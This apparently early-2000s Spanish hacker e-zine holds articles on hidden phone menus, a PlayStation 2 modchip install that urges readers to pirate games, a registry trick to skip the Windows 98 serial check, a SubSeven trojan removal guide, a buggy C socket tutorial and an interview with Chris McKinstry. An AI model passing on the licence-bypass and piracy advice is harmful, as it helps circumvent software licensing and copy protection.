Aqui accesdes a un pequeo menu de tres opciones, entre ellas esta el de
FIJAR NAM, el que obviamente tiene que ve con la programcion del PCS mismo.
El problema? la clave de seguridad que se necesita para acceder alli,
cual es la clave? la sabia, pero por esas cosas se me olvido XD. Te todas
maneras ese una cifra de 5 digitos y contiene 59132 -segun recuerdo-,
lamentablemente
el orden se me olvido. Si alguien lo vuelve a encontrar igual, envien sus
emails para postearlo.
iii) Samsung SCH6000
Tambien un fono CDMA entragado por Smartcom. Para acceder a su menu "oculto"
se va hacia el menu Pantalla desde las opciones principales. Alli aun cuando
hay solo tres opciones 1,2 y 3, si se selecciona la opcion 0 , se obtiene
una peticion de Clave de Seguridad para acceder al menu "oculto". Aqui denuevo
otro pero, tampoco se se esa clave. Quizas sea la misma que en el caso del
AudioVOX, pues creo que la clave mas que venir de fabrica es colocada por
los tecnicos de Smarcom, por lo que no me sorprenderia que fuera la misma.
FINAL
Se que este Quick Tip dejo mas preguntas que respuestas, y es que
no manejo el tema y solo escribo esto solo por curiosidad, y no
con experticia, simplemente me coloque a jugar con estos 3 telefonos.
Espero que esto los inste a probar con sus fonos y descubrir que hay tras
cada llamada.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Desbloqueo de PS2 >>>-----------------------------[ by [BuRToN ]------=>
Desde que salio la primera Playstation hasta la actualidad se ha intentado
siempre buscar y aprovechar al maximo su sistema de juegos, a que me refiero
con esto, que siempre se busco hacer la copia ilegal o tb se podria decir
"juegos originales de otras nacionalidades", pero bueno la Sony se preocupo
de esto y al ver lo que sucedia bloqueo el sistema dejando los juegos
"originales" de otras nacionalidades inservibles, no se tardo mucho tiempo
en que la gente preocupada del negocio de venta de juegos desbloqueara
el sistema, logrando asi, que cualquier tipo de emulcion de cd sea aceptado
por el psx (Playstation).
En la actualidad el psx quedo chico ante el nuevo lanzamiento de la sony
la famosisimaaa psx 2 o Playstation 2 (notese la originalidad del nombre)
una consola en el cual los juegos del psx tb pueden ser jugados, por que
el chip q controla el Input/Output (entrada y salida) es el mismo chip
que se utilizaba en la psx original, asi q no se pierde compatibilidad.
Mientras el chip Emotion que controla la Play2 es un procesador
a 300 Mhz cuyo rendimiento y calidad es lejor mayor a la psx original.
Incluso ha tenido problemas con la exportacion pues es tan poderosa que
podria utilizarse con fines militares.
Ahora la pregunta era la siguiente se podr desbloquear? la consola tiene
cd que se aproximan a los 8gb!! son dvd!!, pero bueno nada queda chico para
esta gente "ayuda pobres" logrando desbloquearla como?? re facil cualquiera
puede desbloquear una consola y que mas sencillo que un plano. En esta
oportunidad les daremos el plano y el como hacerlo, las precauciones y los
materiales.
MATERIALES
- Un cautin! (una de esas cosas que soldan) ke sea fino!!
- 8 cables de distintos colores o si sabes reconocer sin color mejor!
- El famosisimo chip pic12c5xx (SIN EL NO PUEDES HACER NADA)
Se puede comprar en http://www.pckits.cl/psx/
- Soldadura
- El plano incluido en el zip de la ezine ( plano_ps2.jpg )
Precauciones
- Cuidado al soldar!! preocuparse de que no quede ni salte soldadura al
integrado y menos dejar puentes!! preocupate de ke la soldadura este en
el lugar preciso si no es asi, no te arriesgues puedes hechar a perder
un chip que vale ocmo diez mil pesos o una consola que vale como 450 mil
pesos jeje con cuidado!!
- Obviamnte desenchufa la consola o te electrucuctas jaja!!
- limpia bien el cautin cada vez ke heches soldadura para mayor comodidad
y tambien evitar cualquier roce con el integrado.
- Fijate bien donde van los cables y en donde van, el plano es bastante
sencillo.
Como hacerlo?
- Esto es re facil sigue al pie de la letra el plano, pelas los cables
en las puntas dejando un pequeo pedazo de alambre para poder asi soldar.
- Cada patilla del chip va unido con un puente al lugar q indica en plano
siguiendo los numeros al pie de la letra (1 con 1, etc)
- En cada uno de los puntos en ke se solda debes tener la precaucion que sea
lo justo y necesario (si dejas un puente le puedes decir chao a tu integrado
o a tu chip).
- coloca bien el chip!!! si lo dejas suelto te despides de todo el trabajo
hecho se suelta y capacito que un cable haga puentee y ... adioss psx2
ESO ES TODO SUERTE!! Y SI VES HUMITO CUANDO LA PRENDAS
PUEDES IR A SUICIDARTE JAJJAJA
todo lo dicho tiene harta experiencia no es facil sacrificar una consola para
empezar en el negocio jejeje.
pd: te dimos la forma de como desbloquear ahora, donde conseguir juegos?? e ahi
el gran dilema!! un mensaje a los "ayuda pobres" apurense en piratear je.
Articulo escrito por [BuRToN] con palabras dedicadas a sonogasta..
"cualquier estupido puede desbloquear una consola!! sobre todo con un plano!!"
se le agradece a .. Dragon Game KORLAET DEL NORTE gracias por facilitar
la consola PSX Y tb por facilitar la Ps one QUE EN PAZ DESCANSE!!
Saludos a la tabatita14!!
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Crackear Win98 Setup >>>-------------------------[ by MoeBiuS ]------=>
Hola Amigos, bueno aca comenzamos con un articulo que los ayudara a
instalar el Win 98 sin ningun problema.Un dia cualquiera estaba instalando el
odioso
winbugs cuando de repente me di cuenta que no tena el maldito numero de
serie,me dije a mi mismo:
- mi mismo que hago?
mi mismo se respondio ya que esta basura tiene tantos bugs como mierda
no va a tener uno en la instalacion, asi que empeze a insalar y me di cuenta
que en un momento ya no usaba el CD y que todos los CABs ya estaban instalados
pero no me dejaba hacer uso del win porque no tenia el maldito numero de
serie,entonces suspicazmente me dije:
- y si entro con modo a prueba de fallos, resultara?
y adivinen que, funciono - obvio sino no estaria escribiendo este articulo-
y dije hummm... es re charcha el modo a prueba de fallos, tengo el minimo
de recursos, no es la idea. Entonces es me fui al regedit - me imagino que
saben que es... sino no importa, despues les digo - bueno y dije: en algun
lugar debe estar la parte donde se guarda el serial number del win, y asi era.
Ahora vamos a lo especifico, ahora les ense~o:
+vayan a:
HKEY_LOCAL_MACHINE
+despus a:
software
+ubican el directorio:
microsoft
+ahi doble clic y buscan el directorio:
windows
+doble clic sobre el dir windows y vayan a:
current version
a la derecha de la pantalla abra un monton de datos rellena con lo que te
plazca los datos en blanco (haciendo doble clic) y listo
apagas el sistema, lo vuelves a encender y okidoki te comienza a configurar
el hardware, la hora y etc...
bueno en cuanto al donde esta la ubicacion se los hare mas facil:
+HKEY_LOCAL_MACHINE
+software
+miscrosoft
+windows
+current version
al lado derecho de la pantalla y ya saben que hacer despues.
Bueno AdioX y que esten bien, cuando sepa algo mas les aviso, como dicen
en la tele para ustedes MoeBiuS, muchas gracias adelante estudio.
Aps! (el equivalente a un ups!), antes que me olvide un saludo a mi seora
(babby),puppetmaster, prozac, clan l@bs y a todos los que me conocen jajajaja. :P
Bueno, AdioX
Por MoeBiuS
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Eliminando Sub7 >>>--------------------------------[ by CybeR ]------=>
Bueno, bueno....cierto es que muchos troyanos han aparecido en los ultimos
tiempos...uno se ha destacado (con algunos bugs, pero bueno....) SubSeven by
Mobman se ha desparramado en este pais como la lepra (hubo lepra en Chile?)...
aca voy a exponer la forma de eliminar este bicho del Windows...mostrando los
5 lugares desde donde se ejecuta el programa....
Ok... directo al grano (los 2 primeros y el ultimo hay que buscarlos en el
Registro....ver FYE No 2)
1) \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\Run
Buscar cadena mtmtask.dll (suele ser clasica, pero actualmente se puede
llamar de cualquier manera....), en todo caso la referencia esta en
c:\windows\lo_que_sea.exe o .dll
Ante la duda o sopecha de que sea el troyano....filo y lo borras.
2) \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\RunService
Lo mismo que en el punto 1.
3) Win.ini
Archivo ubicado en c:\windows. Si lo abrimos, veremos que por ahi por la
tercera linea (o cuarta?) aparece :
run =
usualmente esta asi, osea NADA despues del signo igual...(algunos
antibichos ckupan esta linea...ojo) , pero puedes encontrar una referencia
"rara"
run=c:\windows\kernel12.dll
si enkuentras algo asi...onda nada que ver...limpias la linea run.
4) System.ini
Otro ubicado en c:\windows .Lo mismo, lo abres y en alguna parte
aparece algo como esto :
[boot]
system.drv=atmsys.drv
drivers=mmsystem.dll power.drv
user.exe=user.exe
gdi.exe=gdi.exe
sound.drv=mmsound.drv
dibeng.drv=dibeng.dll
comm.drv=comm.drv
shell=Explorer.exe mtmtask.dll
keyboard.drv=keyboard.drv
fonts.fon=vgasys.fon
fixedfon.fon=vgafix.fon
oemfonts.fon=vga850.fon
386Grabber=vgafull.3gr
Fijate en la linea Shell = , ahi SOLO debe aparecer Explorer.exe y
nada mas... (cachaste que en el ejemplo hay 2 archivos?) bueno, solo
deletea el "mtmtask.dll" y que quede:
Shell=Explorer.exe
y por fin el ultimo.....
5) Hkey_Current_User\Software\Microsoft\Windows\Currentversion\Explorer\Doc
Find Spec MRU... y al lado derecho c:\windows\kernel12.dll o mtmtask.dll
o algo asi medio "raro" (en este sitio NO debieran haber cosas como
c:\windows... solo unas "letritas raras"...jejeje).
Ahhh...nota de yo : No te vayas a poner a borrar al lote ... primero
revisa con cuidado y si es necesario preguntale a algun amigo que se ubique
en el tema....ok?
En cuanto a los puertos... bueno los clasicos 1243 y 27374 suelen ser la
mayoria...pero puede ser cualquier puerto (si editaron el troyano)...en todo
caso sigue funkando el c:\netstat -a -n en DOS.
Ok...espero les sirva.........bye.................CybeR
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Programacion de Sockets >>>-----------------------[ by Ytrium ]------=>
Sabi que mas no voy hacer intro,vamos directo al grano.Empezamos:
Que es un socket?
Un socket es un punto de comunicacin entre procesos,permitiendo que un proceso
"hable"(reciba o envie informacin) con otro proceso,entendieron? medio denso?
,bueno se los voy a poner de otra forma,un socket es como un telefono,un punto
de comunicacin entre dos cosas(personas o,en este caso procesos de maquina).
A METER LAS MANOS!!!
*****************
(Consejo: si no sabes conceptos bsicos como que es funcion,devolver un
valor,puntero,o no sabes como abrir ni cerrar archivos en C,te aconsejo primero
pesca un manual de C y despus leete este articulo)
Bueno empezamos,lo primero que veremos en este articulo es crear un socket
cliente,este tipo de
socket lo nico que hace es pedir conexin a la mquina remota,una vez
establecida la conexin,
puedes enviar o recibir informacin.Veremos 4 funciones elementales,ellas
son:socket,connect,
write,read.
Socket:
******
Archivos de cabecera
Llamada:
socket(dominio,tipo,protocolo)
Definicin:Esta funcin crea un extremo de comunicacin y devuelve un
descriptor(definicin sacada del manual de linux).Un poco confuso? bueno lo voy
a explicar,esta funcin lo nico que hace es crear un socket,y devuelve "una
referencia al socket abierto".
importante!!:Si el valor devuelto por esta funcin es -1,significa que ocurri
un error y no se pudo crear el socket.
Parmetros:
Dominio:Especifica el conjunto de sockets que pueden comunicarse con el socket
"abierto".
Estos son:
AF_UNIX:Dominio para una mquina unix.El cliente y el servidor estan en la misma
mquina.
AF_INET:Dominio para mquinas en internet.este es el que nos interesa y el nico
que vamos a ocupar
AF_NS:Dominio para redes XEROX.
AF_CCIT:Dominio para protocolos CCIT,X25.
AF_ISO:Dominio para protocolos ISO.
AF_IMPLINK:Capa de enlace en IMP.
Tipo:Especifica las propiedades de las comunicaciones que se llevan a cabo a
travs del socket (Modo conectado o no conectado,Fiabilidad de la comunicacin,
etc).
Estos son:
SOCK_DGRAM: Tipo de socket en modo no conectado,con envo de datagramas y con
tamao limitado(UDP)
SOCK_STREAM: Tipo de socket en modo conectado,de dos vas y de tamao
variable(TCP)
SOCK_RAW: Tipo de socket para protocolos de bajo nivel.(IP ICMP)
SOCK_SEQPACKET: Es parecido al SOCK_STREAM,pero con tamao limitado.
Protocolo: Especifica un protocolo particular para ser usado con el socket.Este
parametro lo dejamos en 0.(por el momento)
Creando el socket y la estructura asociada.
Bueno hasta ahora harta chachara. Pero como cresta creo un socket.Lo primero que
haremos es declarar un int que va a tener el valor devuelto de la funcin socket
(el descriptor).
int sock
Pero,asociado al socket,viene una estructura,dependiendo el dominio del
socket.Dado que estamos interesados solo en internet la estructura se declara
as:
struct sockaddr_in nombre
Aqui nombre es solo el nombre,valga la rebundancia,de la estructura.
Todavia no "creamos" el socket,para crearlo hacemos invocamos a socket,usamos
una asignacin para saber si hubo errores al crear el socket.(claro que los
descriptores se utilizan para otras cosas,pero no las vamos a ver)
sock=socket(AF_INET,SOCK_STREAM,0)
Hemos creado un socket con dominio en Inet,de tipo SOCK_STREAM y con protocolo
0,esta clase de socket es el que mas se ocupa.
Bueno ahora las estructuras,antes habiamos dicho que cada socket tenia una
estructura asociada, bueno esta estructura es la siguiente:
struct sockaddr_in nombre{
short int sin_family; en este caso AF_INET
unsigned short int sin_port; puerto al que
quieres conectarte
struct in_addr sin_addr; direccion de
internet
char sin_zero[8]; campo de 8 ceros
}
Un poco confuso?no te preocupes,despues lo explicare con un ejemplo.
Lo nico que tienes que preocuparte por el momento es crear el
socket(sock=socket(argumentos)),
que despues veremos las estructuras.Primero te tendr que explicar las
conversiones.
Los nicos miembros de la estructura que necesitan conversin son el puerto y la
direccin.
Para el puerto,por ejemplo digamos que quieres conectarte al puerto 25 entonces
lo que
haces simplemente es:
nombre.sin_port=htons(25);
La funcin htons lo que hace es convertir de host byte a network byte.
Para convertir digamos una Ip eso es diferente,tienes que usar la funcin
inet_addr(IP),lo bueno
de esta funcin es que convierte inmediatamente de la notacin de numeros y
puntos a network byte.
Entonces para conectarnos a la direccin 200.69.69.69 tenemos que poner:
nombre.sin_addr.s_addr=inet_addr(200.69.69.69);
Listo,tenemos todo,el puerto,la direccin,el dominio y los ceros?.(Luego lo
explico
sigue leyendo).
Entonces quedara una cosa as si nos queremos conectar con el puerto 25 de la
direccin
200.69.69.69
nombre.sin_family=AF_INET;
nombre.sin_port=htons(25);
nombre.sin_addr.s_addr=inet_addr(200.69.69.69);
bzero(&(nombre.sin_zero),8);
Que es bzero,bueno es una funcin que lo nico que hace es poner a cero
los n primeros bytes de una cadena.(man bzero)
Hasta ac no hemos creado ninguna conexin,solo el socket y la estructura
especificando a donde vamos a conectar,es como si solo hemos fabricado el
telfono y hemos marcado los nmeros,ahora falta que me acepten la llamada.
La conexin se hace mediante la funcin connect,esta tiene la siguiente forma:
connect(int sock,struct sockaddr* serv_addr,int tamao)
valor devuelto:0 si conecta,si se produce un error -1.
Entonces siguiendo el ejemplo para conectar(o mejor dicho,para pedir conexin)
connect(sock,(struct sockaddr*)&nombre,sizeof(nombre))
Si el valor devuelto es 0 entonces conect.
Otras funciones que lo nico que hacen es enviar y recibir informacin de un
socket son el read y el write,ambas definidas en .Tienen la siguiente
forma:
read(int desde,void *que_cosa,size_t tamao_de_que_cosa)
write(int hacia,const void *que_cosa,size_t tamao_de_que_cosa)
digamos que queremos leer 160 bytes desde un socket,entonces ponemos:
read(sock,buff,160)
Claro,que antes hemos declarado buff como un arreglo de un cierto
tamao.(arreglo,array o vector)
Para escribir es anlogo,digamos que queremos mandar una cadena de 160
caracteres.entonces
escribimos:
write(sock,buff,160)
Pero que pasa si yo no s el tamao de lo que quiero mandar o recibir,entonces
ponemos en el
parametro tamao_de_que_cosa un sizeof(que_cosa).
Antes de terminar necesitas cerrar el sock,porque si no te queda la crema,la
funcion close(sock)
cierra el sock.(obvio?).Si no entendiste ve el ejemplo ahi te va ayudar un
poco.El siguiente es
un programa apto para...(uy me vole),el siguiente es un programa que lo unico
que hace es
conectarse a una direccin,a traves de un puerto e imprime lo que recibe.
/*Dado que algunas personas no tienen claro el concepto de paso de parametros en
el main
int main(int argc,char *argv) voi a hacer este programa lo mas mula posible*/
#include //cabecera necesaria para la creacion del socket
#include //cabecera necesaria para la creacin del socket
#include //un poco obvio
#include //Esta es nueva esta cabecera es necesaria para
sockets de inet
main()
{
int sock; //declaramos el descriptor
struct sockaddr_in cliente; //declaramos la estructura asociada
char buff[1024]; //declaramos el buffer
char ip[15]; //ip
int port; //puerto
printf("Ingrese IP del server\n"); // Esta parte es obvia
scanf("%s",ip); //asi que no la voi a explicar
printf("Ingrese puerto\n");
scanf("%d",port);
if((sock=socket(AF_INET,SOCK_STRAM,0))<0)//abro el socket y veo si hubo
error
{
printf("Error al crear socket\n");
exit(-1);
}
cliente.sin_family=AF_INET; //especificamos la familia
cliente.sin_addr.s_addr=inet_addr(ip); //especificamos la direccion
cliente.sin_port=htons(port); //especificamos el puerto
bzero(&(cliente.sin_zero),8) //llenado de ceros
if((connect(sock,(struct sockaddr*)&cliente,sizeof(cliente))) > -1)
{
read(sock,buff,sizeof(buff));
printf("%s\n",buff);
exit(0);
}
else
{
printf("No pude conectar a %s por el puerto %d",ip,port);
exit(-1);
}
}
En el proximo capitulo send,recv y resolucin dns,en los ejemplos hace tu
propio 00B nuke(sin
lamerias).
Si no te quedo claro este articulo es que eri tonto,no mentira, si no entendiste
alguna wea mandame un mail.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Cocinando con Chris McKinstry >>>------------------[ by NDR113 ]-----=>
En esta entrevista hablamos con Christopher McKinstry, un canadiense que vive
actualmente en Chile operando el VLT, el complejo de telescopios mas grande
del mundo. Su vida ha estado ligada siempre a la exploracion y creacion de
tecnologia innovadora. A sus 35 aos tiene un curriculum impresionante en
informatica -el ao recien pasado dio conferencia en H2K, el encuetro hack
organizado por 2600 en USA-; seguridad -trabajo para los militares en
norteamerica a los 19 aos-; psicologia -su profesion universitaria-,
biologia -aplica los conceptos computacionales al entendimiento del material
genetico y la naturaleza de la vida misma-, y actualmente en inteligencia
artifcial, siendo el fundador de MindPixel, un proyecto que se ha transformado
en el mas importante a nivel mundial en el desarollo de maquinas verdaderamente
pensantes.
Tuvimos la oportunidad de conversar con el en su departamente durante unas
horas, en las nos hablo de sus vida, proyectos y vision sobre el futuro de las
tecnologias de la informacion, biotecnologia, ciencia e internet.
Chris ha estado en medios como la revista TIME, WIRED, BritishScience, BBC y
CNN entre otros. Definitivamente recomendamos la lectura de esta entrevista, la
q originalmente se desarrollo en ingles y he tenido q traducir para nuestros
lectores. Espero la disfruten.
*Quizas tu nombre no le suena a la escena hispana, puedes decirnos quien es
Christopher McKinistry?*
Soy.. probablemente lo mismo q ustedes... solo que con 20 aos mas... esta es mi
segunda computadora, no se si vieron de estas en sudamerica.. tiene 23 aos.
*Aun funciona?*
tiene Basic incluido... la prendes... instantaneo.. completamente instantaneo,
sin linux, windows.. nada. -tipea comandos en la computadora- Asi es basicamente
como aprendi. Cuando tenia 12 aos mi madre era una madre soltera.. sin dinero,
pobres.. una familia normal y estas maquinas costaba 1000 dolares asi q no podia
pagarla. Entonces iba a Radioshack y trabajaba todo el dia en las maquinas pq la
gente de la tienda no sabia nada... en los primeros dos meses programe un juego
en cassete para jugar ajedrez. Eventualmente vendi copias del programa para
poder comprar la maquina. Esta es una maquina muy especial.
Esta computadora sera para mi hijo, de un ao. Esta sera su primera computadora
y con ella aprendera exactamente como yo, de lo basico... Esta maquina tiene
Basic de RadioShack, pero en realidad es Microsoft Basic... el primero...
software hecho literalmente por el mismo Bill Gates.
*Entonces para ti la mejor forma de aprender es esta.. comenzar de la nada.*
si, por ejemplo si estas interesado en autos... compras un auto antiguo, uno q
puedas trabajar q no tenga computadoras... por ejemplo si quieres trabajar o
aprender acerca de autos no vas a un mercedes... si quieres aprender vas a un
Volkswagen Beattle, un escarabajo, lo abres, puedes tocar... armar y desarmar.
-nos lleva a su oficina-
este es un pentium III normal... 450 mhz...2 aos .. lo compre aca.. no lo
traje. Esta -mostrando una especie de placa cubierta con un plastico negro,unas
pequeas teclas y un pantalla tipo calculadora- es realmente mi primera
computadora... esta es de 1976, kim-1, 1 kb de ram, con una pantalla de 6
digitos. El primer programa de ajedrez escrito para microcomputadores se escribio
para esta, y era algo asi como AE, K6... comandos... se necesita un tablero
para ubicar las piezas... y una movida: una hora, era muy dificil. Luego de
hacer esto lo siguiente que hize fue ir a la universidad...
*Sobre eso quisiera preguntarte, algun estudio formal?*
A los 17 era programador de juegos para el radioshack I... y hacia dinero....
hacia mas dinero q mi madre, mas dinero q toda mi familia.. a los 17 aos. Era
arrogante.. como una estrella de rock... algo famoso... tenia un auto, un
Porshe. Asi q no tenia mucho interes en estudiar, por que pensaba q mi vida era
perfecta, entonces, para q estudiar? Trabajaria con computadoras. Y en la
universidad no entiendian aun a las computadoras. Las Ciencias de la Computacion
se impartian con grandes maquinas... mainframes y tarjetas. Yo estaba
acostumbrado a interactuar, no queria ir a la universidad a estudiar tarjetas..
era basura!. Entonces fui a estudiar psicologia por mi interes en la mente,
queria hacer inteligencia artificial. Mi primer programa fue ajedrez, y ha sido
mi vida por un largo tiempo...
Estudie psicologia pero en mi segundo ao tuve una oferta para irme Winippeg, en
el centro de Canada -como Santiago- a Toronto, como la distancia entre
Antofagasta y Santiago, para trabajar para un compaia llamada Lithin Systems
que era militar... hacian sistemas guias para misiles cruzeros, asi que, trabaje
en Toronto en el area militar, en reactores nucleares *Cuantos aos tenias
entonces?* 19. Casi la misma edad que ustedes tienen, es basicamente la misma
historia.. los mismos intereses, excepto q estaba solo, no tenia con quien hablar
acerca de ello.
Me case... mala idea, mala idea... estuve casado por 5 aos, luego me divorcie,
volvi a Winippeg y empeze un negocio con un amigo mio, hicimos discos compactos
con shareware... juegos shareware en 1991, los vendimos en PC Magazine, en la
seccion de avisos clasificados... 50.000, muchos de ellos... hicimos 2 millones
de dolares en juegos shareware... si, sin trabajar. Llame a las compaia, dije
"tiene juegos?, -si.. -cuantos tiene? -700 1 dolar por disquete -esta bien, 700
por favor" -rie-. Tome los 700 discos, se los di a un amigo q no tenia trabajo y
le dije toma, alli esta la computadora.. copia. En 2 semanas los copio, luego
copie todo los juegos a una cinta magnetica lo envie por Fedex a un fabricante
de CDs, y eso fue todo el trabajo... ahora es imposible, pero entonces
funciono... fue por que la navidad del 91 fue la primera navidad en q las
computadoras tenian unidades de CDROM.. entonces en nochebuena tenia en frente
de mi casa muchos autos y gente, q querian mis discos para la maana de navidad
para sus nuevas computadoras. Es acerca del momento exacto, acerca de "timming".
Lo mismo q sucedio con Gates.
*Hablando de Bill Gates... Que piensas de Microsoft?*
ojala fuera dueo de Microsoft. Bill Gates es un muy buen hombre de negocios, el
sabe lo que hace
*Y q piensas acerca de las acusaciones de monopolio contra Microsoft? O es
quizas simplemente la naturaleza de la industria?*
Quizas es monopolio, quizas no...no es mi decicion, es una decicion de abogados
y jueces. Pero si fuera Bill Gates haria lo mismo "Fuck Off! si quieres mi
software dame dinero, si no te gusta mi software.. fuck off! ve y compra
linux... me da lo mismo"
*Acerca de tus habilidades computacionales, que tipo y cuantos lenguajes de
programacion dominas?*
Mi primer lenguaje de programacion fue este, assambler para 6502, el procesador
de la Apple I y II, luego Basic para el Radioshack y assambler para el
procesador Z-80 que tenemos aqui. Esto era antes, por que no tenia otras
opciones. Basic es muy lento y el assambler es obviamente mas rapido. Despues
assambler para el 8086 IBM PC. Despues de es punto me especialice trabajando en
bases de datos, mayormente en Oracle, un tremendo software para bases de datos.
Por aos hice software de base de datos, despues de los sharewares no tuve que
escribir mas software, luego entonces solo enseaba a alguna gente VisualBasic,
por q es facil mostrarle a una persona como hacer software en VisualBasic. No es
un muy buen lenguaje para hacer un producto pero es un buen lenguaje para
aprender. Ahora por ejemplo en el VLT todo es C++. Solo C++ generico, software
de dominio publico...
*Cual es tu sistema operativo favorito? que utilizas?*
Bien, mi sistema operativo favorito es ningun sistema operativo. -Enciendo y
apagando el TRS-80 - esto es... apagado, prendido. Ese es mi sistema operativo
favorito. Pero bueno, es imposible ahora asi que cualquier UNIX, no importa
cual: linux, unix, aix. Cualquiera. Cualquier cosa con -se acerca al TRS-80 y
comienza a teclear-... si puedo hacer esto *linea de comando?* exactamente, soy
un tipo de linea de comando.
*Acerca de tu relacion con computadoras... estuviste involucrado de que manera
con el hacking?*
Conoces la pelicula "Juegos de Guerra"? *si* la misma historia... escribes un
programa y te pones al telefono explorando numeros hasta que encuentras sistemas
bancarios, tiendas *mucho antes de internet* es decir, estaba alli, pero aun no
era publica, la internet era solo para universidades .
En la universidad siempre hackeaba los sistemas claro... de todas maneras no
habia muchas oportunidades de hackear, habian algunas mayormente universidades.
Cuando trabaje para los militares mi trabajo era la otra cara, detener el
hacking.
*Que es mas dificil? hacer hacking o detenerlo?*
Detener el hacking es mucho mas dificil porque los hackers son inteligentes -nos
mira sonriendo-... es mucho mas dificil pero hay mas dinero en detener el
hacking, nadie te paga por hackear, lo haces por que te gusta. Asi que mi vida
ha sido detener el hacking. No se si viste en mi website que el primer programa
por el que hice dinero a lo grande fue "copy protection".
Cuando tenia 17 desarrolle una proteccion de copiado para mis juegos, solo para
mis juegos. El sistema de protecccion consistia en daar el disco con una llave
al azar. Tomaba un disco lo daaba en un patron al azar. Corria un programa que
escaneaba y probaba el disco, y luego aislaba los patrones del disco para
copiar el programa disco sin utilizar los secores daados. Despues no se
puede copiar en otra computadora. Lo licencie a la IBM... y el sistema
se utilizo por todo el mundo dos aos, 1984 y 1985. Despues del 85 los disco
duros se volvieron populares y el esquema no funcionaba con ellos, asi que...
bueno, mi vida ha sido detener el hacking.
*Sobre eso... cuales son tus creancias acerca del hacking? cual es la linea que
separa a un curioso y de un criminal?*
Para mi es lo mismo que en la vida, sabes? Propiedad es propiedad. Si tu daas
mi puerta y te atrapo tienes que pagar por ello. Pero si entras y no haces dao
alguno... bueno, alguna gente dira "solo mirar causa dao" y es que en algunos
negocios con solo mirar daas. Si miras el codigo fuente de Microsoft, a ellos
no les gustaria. Pero para mi la relacion entre hackers y los negocios es
importante. Es lo mismo que en la evolucion, es la mismo que entre huesped y
anfitrion, ambos mejoran gracias a la competencia. Si no hay hackers el software
empeoraria. Es necesario. Y lo otro es que si no hubieran hackers, independiente
si son bueno o malos, me quedo sin trabajo... -rie-
*Cual fue tu experiencia en H2K,la reunion hack organizada por 2600 en New York
donde este ao diste conferencia?*
Bueno, fue una experiencia distinta. Los hackers son como ustedes: jovenes
interesados en explorar sistemas complejos, punto. Pero desde mi perspectiva
muchos de los "speakers" eran gente de mi edad. Recordaban estos sistemas
-apuntando a las radioshack-... comodore... etc.
Para mi fue una experiencia reunirme con los hackers mas famosos del mundo y
decirnos "hey, compadres, aqui estamos.. 25 aos de hacking" y mirar todas las
camaras de television. Creo que debe ser la misma experiencia para la gente
que toca musica. Tocas musica por 25 ao, te reunes en un gran concierto, la
gente va a oirte... te fumas un pucho y dices... "wow, esto es New York!".
*fue a mas o menos cool?* fue extremadamente cool. Para mi fue mi primera ves
en New York, nunca habia estado alli antes; y caminaba por el Time Square con
camaras que me seguian, y la gente decia "Quien es ese?"... jajaja. Fue una
experiencia muy extraa.
El hecho de recibir un email de ustedes, siendo del otro lado del mundo, este
no es mi pais natal... y aun asi ustedes compadres saben quien soy. Es extrao.
*Debido el desarollo de la tecnologia y la fundamental importancia que adquiere
en nuestras vidas se ha especulado acerca del uso de las computadoras y los
hackers como armas militares? Como puede verse afectada la estabilidad de un
pais desarrollado como los Estados Unidos frente a posibles ataques digitales
en un escenario belico?*
Hay un [riesgo] potencial.Donde haya informacion importante esta el potencial
de enfretamientos, virus. Es lo mismo que en la biologia. Tu eres software,
tu DNA es software y siempre habra gente tras las fronteras tratando de matarte.
Eso siempre sera verdad. Por ejemplo el virus ILOVEYOU de las Filipinas. Los
filipinos son 80 millones de habitantes y 200.000 computadoras. Es casi nada.
Pero mira lo que un chico hizo a los Estados Unidos. Hay un caos potencial.
Eso tambien significa que hay un trabajo importante para ustedes
*una responsabilidad?* claro, su responsabilidad es hackear tanto como puedan,
aprender tanto como puedan, por que es algo que no se aprende en la universidad,
solo se aprende en la realidad. Vayan y salgan a explorar. El asunto es
entender... linux, programacion, bases de datos como mysql... en la vida real.
Para que cuando comienzes a trabajar, protejas el sistema. Por que si nadie
protege el sistema los nios pueden romperlo.. -sonrie-. Por ejemplo, vengan
por aqui... -nos lleva al living, y nos muestra una placa plastica negra-
Saben lo q es? -la toma y la coloca en la entrada de su videograbador vhs,
resulta ser una proteccion- ...por que mi hijo no es malo, esta solo
explorando... apriendiendo de tecnologia. Al verme colocar cassetes
el mete de todo adentro. -mostrando la proteccion- Alguien hizo mucho dinero
gracias a esto; y hay equivalentes a estas ideas en sus sistemas: proteccion
no contra gente mala, si no, contra nios; los nios en internet es algo bueno,
pero crea un potencial de cosas estupidas... -rie y teclea en el aire- rm *,
format, shutdown... y no quieres que eso pase.
*Volviendo a tu vida... por que viniste a Chile a trabajar en el VLT?
Realmente vine a Chile para escribir mi libro *Hacking Consciousness?*
exactamente. Solo queria estar a la maxima distancia posible y venir a un lugar
donde tuviera muchas opciones y Chile es el mejor lugar para ello en
sudamerica.
